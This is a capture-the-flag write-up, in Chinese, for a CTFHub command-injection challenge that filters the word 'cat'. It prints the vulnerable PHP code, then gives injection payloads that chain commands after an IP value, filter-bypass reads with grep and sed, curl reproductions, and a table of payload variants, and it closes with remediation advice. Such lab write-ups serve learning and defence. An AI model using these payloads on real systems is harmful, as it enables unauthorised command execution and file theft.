尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
CTFHub-命令注入-过滤cat-解题报告
CTFHub 命令注入-过滤cat — 解题报告实例三伦理声明本题靶场为 CTFHub 官方授权练习环境sandbox.ctfhub.com所有操作仅在该授权范围内进行。〇、本实例 Flag 一览先给结论项目值容器地址http://challenge-c673ad09ad6267c5.sandbox.ctfhub.com:10800题目名称CTFHub 命令注入-过滤cat服务端指纹Server: openresty/1.21.4.2X-Powered-By: PHP/5.6.40运行身份uid82(www-data)flag 文件/var/www/html/flag_274631111717061.php属主 root:root42 字节Flagctfhub{c1d5b777767d542b1a8facb7}与「命令注入-无过滤」的区别本题服务端用preg_match_all(/cat/,$ip)检测并拦截含cat的 payload含 cat 的命令根本不执行。核心考点是绕过过滤——用grep、sed等不含cat的等价手段读文件。一、题目信息项目内容目标地址http://challenge-c673ad09ad6267c5.sandbox.ctfhub.com:10800题目名称CTFHub 命令注入-过滤cat服务端指纹openresty/1.21.4.2 PHP/5.6.40漏洞类型OS Command Injection命令注入 关键字过滤绕过cat运行用户www-datauid 82最终 Flagctfhub{c1d5b777767d542b1a8facb7}二、漏洞源码页面直接公开含过滤逻辑?php$resFALSE;if(isset($_GET[ip])$_GET[ip]){$ip$_GET[ip];$m[];if(!preg_match_all(/cat/,$ip,$m)){// ← 检测 ip 里是否含字符串 cat$cmdping -c 4{$ip};// 不含 cat → 正常拼接并执行exec($cmd,$res);}else{$res$m;// 含 cat → 命令被丢弃仅回显匹配数组}}?过滤规则逐行拆解preg_match_all(/cat/, $ip, $m)检测用户输入$ip中是否出现子串cat把命中结果存进$m。不含cat!成立→ 走exec()正常执行命令这是拿 flag 的唯一通路。含cat!不成立→ 进else$res被赋成匹配数组$mexec()根本不会运行。页面会回显一个形如Array( [0] Array( [0] cat ) )的假结果——这是被过滤的标志性症状回显里只有cat这个词、没有 ping 输出、没有文件内容。结论本题不是cat 被静默吞掉而是含 cat 的整条 payload 被过滤逻辑拦截、没有下发执行。想读文件就必须绕开cat这个关键词。三、解题步骤以浏览器输入框为主每步标注原因每步先给浏览器输入框打法主流程再附curl 复现可选。步骤 1确认注入点 摸清过滤输入框打法127.0.0.1;id→ 点Ping。回显uid82(www-data) gid82(www-data)。原因id不含cat字样能通过过滤被exec()执行。看到结果即证明注入可用运行身份是www-data。步骤 2枚举文件系统定位 flag输入框打法127.0.0.1;ls /var/www/html 21→ 点Ping。回显Web 根目录两个文件flag_274631111717061.php ← 本实例 flag 文件 index.php原因本题是 Web 应用flag 藏在 Web 根的 PHP 文件里。ls不含cat可正常执行21把 stderr 合并进 stdout避免无权限目录被exec()静默吞掉。步骤 3绕过过滤读 flag核心首选grep浏览器可见输入框打法127.0.0.1;grep -rho ctfhub{.*} /var/www/html 21→ 点Ping。回显[9]ctfhub{c1d5b777767d542b1a8facb7}✅备选sed读出整行含 ?php 注释输入框打法127.0.0.1;sed -n 1p /var/www/html/flag_274631111717061.php 21→ 点Ping。回显[9]?php // ctfhub{c1d5b777767d542b1a8facb7}原因最关键为什么不能用catcat三个字会命中preg_match_all(/cat/)进else分支命令不执行只回显匹配数组[9] cat。实测 A 组印证。为什么grep -rho可靠grep不含cat字样可过过滤-o只输出匹配片段flag 本体回显不含?php浏览器正常渲染规避 HTML 吞显坑-r递归全目录连精确文件名都不用写。为什么sed -n 1p可行sed也不含cat能过过滤、能执行适合需要读出整行含?php //注释的场景。逐词拆解首选 payload127.0.0.1;grep -rho ctfhub{.*} /var/www/html 21整条命令由三段组成127.0.0.1是喂给 ping 的正常参数;是 shell 分隔符grep -rho ctfhub{.*} /var/www/html 21才是真正读 flag 的命令。片段含义grepLinux 文本搜索工具在文件内容中查找匹配某模式的行并打印——本身能读文件且不含cat字样是本题过过滤的关键。-rrecursive递归搜索/var/www/html下所有子目录的文件不用逐个指定路径。-hno-filename不打印文件名前缀grep -r默认每行结果前加文件名:-h把它去掉让回显只有匹配内容本身。-oonly-matching只输出命中片段而非整行。flag 文件内容形如?php // ctfhub{…}不加-o会连?php注释一起吐出来被浏览器吞显加-o后只回显 flag 本体。ctfhub{.*}搜索模式ctfhub字面量 {.*}匹配ctfhub{到}之间的任意内容贪婪命中 flag 整段。/var/www/html搜索起点全目录扫。21把 stderr 合并进 stdout让报错也进回显避免被exec()静默吞掉。严谨写法grep -rhoE ctfhub\{.*\}-E开扩展正则 花括号转义。本例用基本正则BRE的grep -rho ctfhub{.*}已够用因为 flag 格式固定为ctfhub{…}且每行只有一个。curl 复现可选# 首选 grep浏览器可见curl-s-G--data-urlencodeip127.0.0.1;grep -rho\ctfhub{.*}\/var/www/html 21\http://challenge-c673ad09ad6267c5.sandbox.ctfhub.com:10800# 备选 sed读整行curl-s-G--data-urlencodeip127.0.0.1;sed -n 1p /var/www/html/flag_274631111717061.php 21\http://challenge-c673ad09ad6267c5.sandbox.ctfhub.com:10800四、原因分析为什么能打通、为什么必须绕过为什么参数能变成命令执行exec($cmd)内部调/bin/sh -c $cmd整串交 shell 解释。输入含 shell 元字符;|||反引号$()时shell 视其为分隔符从而执行任意命令。过滤cat的机制是什么服务端preg_match_all(/cat/,$ip)子串匹配命中即走else丢弃命令。这是关键字黑名单过滤只认死字符串cat不做语义判断——所以任何功能等价但不含cat字样的命令都能绕过。有哪些绕过手段按推荐度grep -rho ctfhub{.*} /var/www/html首选过过滤 浏览器可见 免手打路径sed -n 1p file/awk {print} file/head -n 1 file读文件内容均不含 cat字符串拆分混淆cat file、$cat等——但本题cat是命令名而非拼写混淆主要靠换命令。为什么回显含?php会被浏览器吞HTML5 解析器把?到下一个之间当伪注释不渲染。用grep -o只输出 flag 本体无?php即可避开若回显异常右键查看网页源代码可看到完整内容。为什么用21exec()只捕获 stdoutstderr 被丢弃。21把报错也并进回显辅助判断哪些路径读不了。五、其他可用载荷同一漏洞的不同写法载荷效果是否过cat过滤127.0.0.1;id命令分隔执行验证注入✅ 是127.0.0.1|id管道符分隔✅ 是127.0.0.1id逻辑与分隔✅ 是127.0.0.1||id逻辑或分隔✅ 是127.0.0.1id反引号命令替换✅ 是127.0.0.1$(id)$()命令替换✅ 是127.0.0.1;grep -rho ctfhub{.*} /var/www/html 21读 flag首选绕过✅ 是127.0.0.1;sed -n 1p /var/www/html/flag_xxx.php 21读整行备用绕过✅ 是六、实测证据与排错记录2026-10-21 实例三过滤行为的三组对照本次关键证据组payload回显判定A...;cat /var/www/html/flag_274631111717061.php 21[9] cat无 ping、无内容含 cat 被过滤命令未执行B...;grep -rho ctfhub{.*} /var/www/html 21[9] ctfhub{c1d5b777767d542b1a8facb7}绕过成功flag 到手C...;sed -n 1p /var/www/html/flag_274631111717061.php 21[9] ?php // ctfhub{c1d5b777767d542b1a8facb7}另一绕过路径读整行易混淆点澄清之前误把回显[9] cat归因为payload 拼接异常 / cat 静默失败——实为过滤拦截含cat的 payload 走else分支exec()根本没跑页面回显的是匹配数组而非命令输出。判定标准回显里只有cat这个词、没有 ping 统计即被过滤。经验汇总CTFHub「过滤类」题通用先读show_source看过滤逻辑本题是preg_match_all(/cat/)子串拦截知道拦什么才知道怎么绕。被拦 ≠ 命令失败是命令压根没下发回显形如Array( [0] Array( [0] cat ) )是过滤标志别再往路径错/手误上猜。用等价的非敏感命令绕过grep/sed/awk/head读文件均不含cat字样。浏览器可见优先grep -o避开?phpHTML 吞显回显只剩 flag 本体。exec()只捕获 stdout排障加21。七、修复建议防御视角最小改动escapeshellarg($_GET[ip])把参数包成单个 shell 安全字面量输入校验filter_var($ip, FILTER_VALIDATE_IP)只接受合法 IP非法直接拒绝关键字过滤不可靠preg_match(/cat/)这类黑名单可被grep/sed/awk或命令混淆轻松绕过属于安全假象——黑名单只增加难度不消除风险根治做法PHP 不调 shell用fsockopen()或 Socket 直接发 ICMP/TCP 探测从源头消灭命令注入面通用铁律任何把用户输入送进exec/system/passthru/shell_exec/popen的代码都必须假设输入是恶意的不依赖黑名单关键字过滤。
RELATED

相关推荐

【数据结构】从堆到 PriorityQueue:手写一个优先级队列

【数据结构】从堆到 PriorityQueue:手写一个优先级队列

一,堆1,概念1.1 堆的概念堆是一种特殊的完全二叉树,它保证每个父节点的值都不大于(或不小于)其子节点的值,因此堆顶永远是最大(或最小)的元素。其具有以下性质:堆中某个节…

📅 2026/10/23 4:56:43
【智能景观照明节能控制深化指南:从调试运维到价值升级】

【智能景观照明节能控制深化指南:从调试运维到价值升级】

前文我们系统介绍了沃思智能景观照明节能控制的核心能力与落地效益。对于已部署或正在评估该系统的项目管理者而言,如何让这套系统在真实环境中稳定运行、持续发挥最大价值,才是更值得关注的问题。本文将从设备调试、场景策略优化、常见故障排除以及未来…

📅 2026/10/23 4:56:43
性能剖析与压测方法论:JMH、async-profiler 与分层瓶颈定位的可复现实验

性能剖析与压测方法论:JMH、async-profiler 与分层瓶颈定位的可复现实验

性能剖析与压测方法论:JMH、async-profiler 与分层瓶颈定位的可复现实验 性能问题最容易被处理坏的地方,不是工具不会用,而是顺序错了:还没确认慢在哪一层,就先换线程池参数;还没测过基线,就开始…

📅 2026/10/23 4:56:43
MORE NEWS

更多资讯

📰

嵌入式驱动开发实战:从寄存器操作到DMA调试的完整经验总结

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

时序路径分析核心框架:从STA原理到违例修复实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

智能制造生产优化的5大落地难点:数据断层、多目标冲突与人机协同

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

采样间隔1秒一天86KB?GOT2000数据记录容量配置全解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

Loop 开源窗口管理工具:鼠标手势与快捷键提升 macOS 多窗口效率

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

如何降低AI检测率?让AI写作更有“人味儿”的实用技巧

“怎么降低AI检测率”这个话题,最近几个月在内容创作者圈子里几乎成了默认的刚需。无论是写自媒体文章、做短视频文案,还是提交一份项目总结报告,很多人发现:自己明明花了心思写东西,怎么一放进AI检测软件里就显示“疑…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬